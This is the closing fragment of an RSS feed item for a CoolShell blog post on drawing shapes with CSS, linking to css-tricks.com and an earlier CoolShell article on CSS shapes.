<p>这个属于奇技淫巧，但是也说明CSS的强大，没有做不到只有想不到。另外<a href="http://css-tricks.com/examples/ShapesOfCSS/">http://css-tricks.com/examples/ShapesOfCSS/ </a>还能找到很多其他的形状，感兴趣的同学可以自己去看。还有酷壳以前的这篇文章《<a title="CSS图形" href="https://coolshell.cn/articles/5164.html" target="_blank">CSS实现的各种形状</a>》<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif" alt="Chrome开发者工具的小技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_title">Chrome开发者工具的小技巧</a></li><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif" alt="CSS 布局:40个教程、技巧、例子和最佳实践" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_title">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5164.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg" alt="CSS图形" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5164.html" class="wp_rp_title">CSS图形</a></li><li ><a href="https://coolshell.cn/articles/3903.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg" alt="一些有意思的贴子和工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3903.html" class="wp_rp_title">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/6913.html">神奇的CSS形状</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/6913.html/feed</wfw:commentRss>
			<slash:comments>21</slash:comments>
		
		
			</item>
	</channel>
</rss>
